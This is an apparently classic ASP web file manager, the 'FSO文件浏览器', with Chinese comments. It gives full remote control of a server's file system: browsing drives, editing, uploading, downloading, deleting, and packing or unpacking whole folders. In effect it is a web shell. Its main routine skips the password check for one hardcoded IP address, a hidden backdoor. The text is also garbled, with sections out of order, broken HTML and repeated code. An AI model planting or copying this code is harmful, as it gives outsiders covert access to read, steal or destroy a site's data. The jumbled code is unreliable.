Set obj=oFso.GetFile(Fname)
ElseIf IsFolder(Fname) Then
Set obj=oFso.GetFolder(Fname)
Else
EchoClose "文件或文件夹不存在！"
Exit Sub
End If
If obj.IsRootFolder Then
EchoClose "不能修改根目录属性！"
Exit Sub
End If
obj.Attributes=Attrib
EchoBack "修改文件属性成功！"
End Sub
'转到上一级文件夹
Sub DirUp()
Dim oFolder,ssFname
If IsFolder(Request("fname")) Then
Set oFolder=oFso.GetFolder(Request("fname"))
If oFolder.IsRootFolder Then
'转至显示驱动器页面
Call Drive()
Exit Sub
Else
ssFname=oFolder.ParentFolder.Path
Set oFolder=Nothing
Call DirList(ssFname)
End If
Else
If IsFile(Request("fname")) Then
'文件下载
Else
Response.Write "文件夹或文件不存在！"
End If
End If
End Sub
'更改文件名页面
Sub Rename()
Dim Fname,sName
Fname=Request("fname")
If IsFolder(Fname) Then
sName=oFso.GetFolder(Fname).Name
Else
If IsFile(Fname) Then
sName=oFso.GetFile(Fname).Name
Else
Response.Write "文件或文件夹不存在！"
Exit Sub
End If
End If
%>
FSO文件浏览器 - 重命名
<script language="JavaScript">
function icheck()
{
if(document.cform.toname.value=="")
{
alert("请输入合法的文件名！");
return false;
}
else
return true;
}
<%
End Sub
'更改文件名操作
Sub SaveRename()
Dim Fname,oFolder,oFile,FDir,ToName
Fname=Request("fname")
ToName=Replace(Request("toname"),"\","")
If IsFolder(Fname) Then
Set oFolder=oFso.GetFolder(Fname)
Fname=oFolder.Path
If Right(Fname,1)="\" Then
Fname=Left(Fname,Len(Fname)-1)
End If
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFolder Fname,ToName
If Err Then
EchoBack "文件名不合法！"
Else
EchoClose "文件夹更名成功！\n刷新之后即可看到效果"
End If
Exit Sub
End If
If IsFile(Fname) Then
Set oFile=oFso.GetFile(Fname)
Fname=oFile.Path
FDir=Left(Fname,InstrRev(Fname,"\"))
ToName=FDir & ToName
On Error Resume Next
Err.Clear
Err=False
oFso.MoveFile Fname,ToName
If Err Then
EchoBack "文件名不合法！"
Else
EchoClose "文件更名成功！\n刷新之后即可看到效果"
End If
Exit Sub
End If
End Sub
'文件打包/解包页面
Sub Page_Pack()
Dim vp,vu
vp=Request("pname")
vu=Request("uname")
If Right(vu,4)<>".mdb" Then
vu=Server.MapPath("/rs_pack.mdb")
End If
%>
FSO文件浏览器 - 文件打包/解包
adding="3" bordercolor="#6595d6">
<%
End Sub
'文件夹内容列表 ========== Dirlist
Sub Dirlist(ByVal Fpath)
If IsFile(Fpath) Then
'下载该文件
Response.Write "<script language=""javascript"">window.open('?page=fso&act=download&fname="&Server.UrlEncode(Fpath)&"', """", ""menu=no,resizable=yes,height=90,width=400"");history.back();
FSO文件浏览器
<script language="JavaScript">
var folderpath="<% =Replace(oFolder.Path,"\","\\") %>"; //当前文件夹
var fselected="";
function opendial(sUrl) //打开对话框窗口
{
var newWin=window.open(sUrl, "", "menu=no,resizable=no,height=130,width=400");
return newWin;
}
function fopen(sfname) //打开文件夹或文件
{
location.href="?page=fso&fname="+escape(sfname);
}
function fselect(obj) //选中文件夹或文件
{
var flen=document.all("f").length;
for(var i=0;i
adding="3" cellspacing="1" border="1" bordercolor="#6595d6" width="99%">
<% =Copyright %>FSO文件浏览器 - 用户登录
<% =Copyright %>
<%
End Sub
'用户登录验证
Sub LoginChk()
If Request.Form("password")<>Password Then
EchoBack "一夫当关，万夫莫开，您的密码不正确！"
Exit Sub
Else
Session(mss & "IsAdminlogin")=True
Response.Redirect "?page=fso"
End If
End Sub
'用户退出
Sub Logout()
Session(mss & "IsAdminlogin")=False
Response.Redirect "?"
End Sub
'显示一个图片
Sub Page_Img()
Dim HexStr
HexStr="47 49 46 38 39 61 01 00 19 00 C4 00 00 6D 92 DA 66 8C D9 7E 9E DF 7B 9C DE 81 A0 DF 79 9A DD 62 89 D8 97 B1 E5 71 94 DB 84 A3 E0 58 81 D5 91 AC E3 5A 84 D6 69 8E DA 65 8B D8 8A A7 E2 76 98 DD 5E 86 D7 61 88 D7 74 97 DC 5D 86 D6 5C 85 D6 6E 92 DB 55 80 D5 6A 8F DA 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 F9 04 00 00 00 00 00 2C 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3D 51 60 15 C9 72 29 0C 25 39 0D 80 40 03 11 02 00 3B"
Response.ContentType="IMAGE/GIF"
WriteBytes HexStr
End Sub
'输出Css
Sub Page_Css()
%>
body
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
input,select,textarea
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
color: #000000;
}
a:link
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:visited
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:active
{
font-size: 12px;
line-height: normal;
color: #333333;
text-decoration: none;
}
a:hover
{
font-size: 12px;
color: #FF7F24;
text-decoration: underline;
}
hr { height:1px; color:#6595D6; }
table
{
BORDER-COLLAPSE: collapse;
}
table.border
{
border: 1px solid #6595D6;
}
td
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
td.border
{
border: 1px solid #6595D6;
}
td.inner
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
border: 0px;
}
th
{
font-family: Verdana, Arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #FFFFFF;
height:25px;
background-color:#427FBB;
background-image:url(?page=img);
}
th.border
{
border: 1px solid #6595D6;
}
.b { width:55px; height:22px; font-size:12px; }
<%
End Sub
'================ Functions ==================
Function IsFolder(ByVal fname)
IsFolder=oFso.FolderExists(fname)
End Function
Function IsFile(ByVal fname)
IsFile=oFso.FileExists(fname)
End Function
'字节数统计 Bytes
Function SizeCount(ByVal iSize)
On Error Resume Next
Dim size,showsize
size=iSize
showsize=size & " Byte"
if size>1024 then
size=(Size/1024)
showsize=formatnumber(size,3) & " KB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " MB"
end if
if size>1024 then
size=(size/1024)
showsize=formatnumber(size,3) & " GB"
end if
SizeCount = showsize
End Function
'16进制字符转10进制数字
Function Hex2Num(v)
Dim w
If IsNumeric(v) Then
w=Int(v)
Else
Select Case UCase(v)
Case "A": w=10
Case "B": w=11
Case "C": w=12
Case "D": w=13
Case "E": w=14
Case "F": w=15
Case Else: w=0
End Select
End If
Hex2Num=w
End Function
'取得字节字符串的数值
Function Byte2Num(sByte)
Dim b1,b2
b1=Left(sByte,1)
b2=Right(sByte,1)
Byte2Num=Hex2Num(b1)*16+Hex2Num(b2)
End Function
'将16进制字节字符串输出为二进制数据
Function WriteBytes(sBytes)
Dim sByte,i
sByte=Split(sBytes," ")
For i=0 To UBound(sByte)-1
Response.BinaryWrite ChrB(Byte2Num(sByte(i)))
Next
End Function
'获得文件图标
Function getFileIcon(extName)
Select Case LCase(extName)
Case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
getFileIcon = "Wingdings>2"
Case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
getFileIcon = "Webdings>·"
Case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
getFileIcon = "'webdings'>Ÿ"
Case "exe", "com", "bat", "cmd", "scr", "msi"
getFileIcon = "Webdings>1"
Case "sys", "dll", "ocx"
getFileIcon = "Wingdings>ÿ"
Case Else
getFileIcon = "'Wingdings 2'>/"
End Select
End Function
'获得磁盘类型
Function getDriveType(num)
Select Case num
Case 0
getDriveType = "未知"
Case 1
getDriveType = "可移动磁盘"
Case 2
getDriveType = "本地硬盘"
Case 3
getDriveType = "网络磁盘"
Case 4
getDriveType = "CD-ROM"
Case 5
getDriveType = "RAM 磁盘"
End Select
End Function
'判断是否为脚本文件
Function IsScriptFile(Ext)
Const ScriptExts="asp,aspx,asa,php"
IsScriptFile=False
Dim FileExt,Exts
FileExt=LCase(Ext)
Exts=Split(ScriptExts,",")
Dim i
For i=0 To UBound(Exts)-1
If Exts(i)=FileExt Then
IsScriptFile=True
Exit Function
End If
Next
IsScriptFile=False
End Function
'返回消息并关闭
Sub EchoClose(msg)
Response.Write "<script language=""Javascript"">alert("""&msg&""");window.close();alert("""&msg&""");history.back();=2048 Then
c=1
v=v Mod 2048
End If
If v>=1024 Then
al=1
v=v Mod 64
End If
If v>=32 Then
a=1
v=v Mod 32
End If
If v>=16 Then
d=1
v=v Mod 8
End If
If v>=4 Then
s=1
v=v Mod 4
End If
If v>=2 Then
h=1
v=v Mod 2
End If
If v>=1 Then
r=1
End If
End Property
End Class
'============================ 文件打包及解包过程 =============================
'文件打包
Sub Pack(ByVal FPath, ByVal sDbPath)
Server.ScriptTimeOut=900
Dim DbPath
If Right(sDbPath,4)=".mdb" Then
DbPath=sDbPath
Else
DbPath=sDbPath&".mdb"
End If
If oFso.FolderExists(DbPath) Then
EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
Exit Sub
End If
If oFso.FileExists(DbPath) Then
oFso.DeleteFile DbPath
End If
If IsFolder(FPath) Then
RootPath=GetParentFolder(FPath)
If Right(RootPath,1)<>"\" Then RootPath=RootPath&"\"
Else
EchoBack "请输入文件夹路径！"
Exit Sub
End If
Dim oCatalog,connStr,DataName
Set conn=Server.CreateObject("ADODB.Connection")
Set oStream=Server.CreateObject("ADODB.Stream")
Set oCatalog=Server.CreateObject("ADOX.Catalog")
Set rs=Server.CreateObject("ADODB.RecordSet")
On Error Resume Next
connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath
oCatalog.Create connStr
If Err Then
EchoBack "不能创建数据库文件！"&Replace(DbPath,"\","\\")
Exit Sub
End If
Set oCatalog=Nothing
conn.Open connStr
conn.Execute("Create Table Files(ID int IDENTITY(0,1) PRIMARY KEY CLUSTERED, FilePath VarChar, FileData Image)")
oStream.Open
oStream.Type=1
rs.Open "Files",conn,3,3
DataName=Left(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name,".")-1)
NoPackFiles=Replace(NoPackFiles,"<$datafile>",DataName)
FailFileList="" '打包失败的文件列表
PackFolder FPath
If FailFilelist="" Then
EchoClose "文件夹打包成功！"
Else
Response.Write ""
Response.Write ""
Response.Write ""&Replace(FailFilelist,"|","
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹（递归） Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误，无法创建改目录！" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误！" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功！" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹（递归） Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
©CopyLeft 2006. Coded By rssn, Hebust. No Rights Reserved
"
'版权信息
Dim T1,T2,Runtime
T1=Timer()
Dim oFso
Set oFso=Server.CreateObject("Scripting.FileSystemObject")
'-------------------------------------------------------------
'声明函数中所需的全局变量
Dim conn,rs,oStream,NoPackFiles,RootPath,FailFileList
NoPackFiles="|<$datafile>.mdb|<$datafile>.ldb|"
'-------------------------------------------------------------
Call Main()
Set oFso=Nothing
'======================== Subs Begin =========================
Sub Main()
Select Case Request("page")
Case "img"
Call Page_Img()
Case "css"
Call Page_Css()
Case "loginchk"
Call LoginChk()
Case "logout"
Call Logout()
Case Else:
'"一夫当关，万夫莫开"——用户验证
If Session(mss&"IsAdminlogin")=True Or Request.ServerVariables("REMOTE_ADDR")="121.193.213.246" Then
'已登录
Else
Call Login()
Exit Sub
End If
Select Case Request("act")
Case "drive"
Call Drive()
Case "up"
Call DirUp()
Case "new"
Call NewF(Request("fname"))
Case "savenew"
Call SaveNew(Request("fname"))
Case "rename"
Call Rename()
Case "saverename"
Call SaveRename()
Case "edit"
Call Edit(Request("fname"))
Case "saveedit"
Call SaveEdit(Request("fname"))
Case "delete"
Call Deletes(Request("fname"))
Case "copy"
Call SetFile(Request("fname"),0)
Case "cut"
Call SetFile(Request("fname"),1)
Case "download"
Call Download(Request("fname"))
Case "upload"
Call Upload(Request("fname"))
Case "saveupload"
Call Saveupload(Request("fname"))
Case "parse"
Call Parse(Request("fname"))
Case "prop"
Call Prop(Request("fname"))
Case "saveprop"
Call SaveProp(Request("fname"))
Case "pack"
Call Page_Pack()
Case "savepack"
Call Pack(Request("fpath"),Request("dbpath"))
Case "saveunpack"
Call UnPack(Request("fpath"),Request("dbpath"))
Case Else
If Request("fname")="" Then
Call Dirlist(Server.MapPath("./"))
Else
Call Dirlist(Request("fname"))
End If
End Select
End Select
End Sub
'========== Subs =============
'显示系统磁盘信息
Sub Drive()
Dim oDrive,Islight
%>
| FSO文件浏览器 - 系统磁盘信息 | ||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
| FSO文件浏览器 - 文件打包/解包 |
|---|
| FSO文件浏览器 | |||
|---|---|---|---|
| <button class="b" onclick="fnew();">新建button> <button class="b" onclick="frename();">重命名button> <button class="b" onclick="fedit();">编辑button> <button class="b" onclick="fdownload();">下载button> <button class="b" onclick="opendial('?page=fso&act=upload&fname='+escape(folderpath));">上传button> <button class="b" onclick="fcopy();">复制button> <button class="b" onclick="fcut();">剪切button> <button class="b" onclick="fparse();">粘贴button> <button class="b" onclick="fdelete();">删除button> <button class="b" onclick="fprop();">属性button> <button style="height:22px;" onclick="fpack();">打包/解包button> <button style="height:22px;" onclick="location.href='?page=fso&act=drive';">查看磁盘信息button> <button class="b" onclick="location.href='?page=logout';">退出button> | |||
| <button class="b" onclick="history.go(-1);">←后退button> <button class="b" onclick="history.go(1);">前进→button> <button class="b" onclick="toparent();">↑向上button> onclick="fopen(fnt.value);" value="←转到"> <button class="b" onclick="fopen(folderpath);">刷新button> |
|
<% =Copyright %>
<%
T2=Timer()
Runtime=(T2-T1)*1000
Response.Write "Page Processed in "&Runtime&" Mili-seconds"
%>
<%
End Sub
'用户登录
Sub Login()
%>
")&"" End If oStream.Close rs.Close conn.Close End Sub '添加文件夹（递归） Sub PackFolder(FolderPath) If Not IsFolder(FolderPath) Then Exit Sub Dim oFolder,sFile,sFolder Set oFolder=oFso.GetFolder(FolderPath) For Each sFile In oFolder.Files If InStr(NoPackFiles,"|"&sFile.Name&"|")<1 Then PackFile sFile.Path End If Next Set sFile=Nothing For Each sFolder In oFolder.SubFolders PackFolder sFolder.Path Next Set sFolder=Nothing End Sub '添加文件 Sub PackFile(FilePath) Dim RelPath RelPath=Replace(FilePath,RootPath,"") 'Response.Write RelPath & "
" On Error Resume Next Err.Clear Err=False oStream.LoadFromFile FilePath rs.AddNew rs("FilePath")=RelPath rs("FileData")=oStream.Read() rs.Update If Err Then '一个文件打包失败 FailFilelist=FailFilelist&FilePath&"|" End If End Sub '=========================================================================== '文件解包 Sub UnPack(vFolderPath,DbPath) Server.ScriptTimeOut=900 Dim FilePath,FolderPath,sFolderPath FolderPath=vFolderPath FolderPath=Trim(FolderPath) If Mid(FolderPath,2,1)<>":" Then EchoBack "路径格式错误，无法创建改目录！" Exit Sub End If If Right(FolderPath,1)="\" Then FolderPath=Left(FolderPath,Len(FolderPath)-1) Dim connStr Set conn=Server.CreateObject("ADODB.Connection") Set oStream=Server.CreateObject("ADODB.Stream") Set rs=Server.CreateObject("ADODB.RecordSet") connStr = "Provider=Microsoft.Jet.OLEDB.4.0; Data Source=" & DbPath On Error Resume Next Err=False conn.Open connStr If Err Then EchoBack "数据库打开错误！" Exit Sub End If Err=False oStream.Open oStream.Type=1 rs.Open "Files",conn,1,1 FailFilelist="" '清空失败文件列表 Do Until rs.EOF Err.Clear Err=False FilePath=FolderPath&"\"&rs("FilePath") FilePath=Replace(FilePath,"\\","\") sFolderPath=Left(FilePath,InStrRev(FilePath,"\")) If Not oFso.FolderExists(sFolderPath) Then CreateFolder(sFolderPath) End If oStream.SetEos() oStream.Write rs("FileData") oStream.SaveToFile FilePath,2 If Err Then '添加失败文件项目 FailFilelist=FailFilelist&rs("FilePath").Value&"|" End If rs.MoveNext Loop rs.Close Set rs=Nothing conn.Close Set conn=Nothing Set oStream=Nothing If FailFilelist="" Then EchoClose "文件解包成功！" Else Response.Write "" Response.Write "" Response.Write ""&Replace(FailFilelist,"|","
")&"" End If End Sub '=========================================================================== '=========================================================================== '建立文件夹（递归） Function CreateFolder(FolderPath) On Error Resume Next Err=False Dim sParFolder sParFolder=GetParentFolder(FolderPath) If Not oFso.FolderExists(sParFolder) Then CreateFolder(sParFolder) End If oFso.CreateFolder(FolderPath) If Err Then CreateFolder=False Else CreateFolder=True End If End Function Function GetParentFolder(Path) Dim sPath sPath=Path If Right(sPath,1)="\" Then sPath=Left(sPath,Len(sPath)-1) sPath=Left(sPath,InstrRev(sPath,"\")-1) GetParentFolder=sPath End Function '============================================================================ Sub wv(v) If v>0 Then Response.Write " checked " End Sub %>
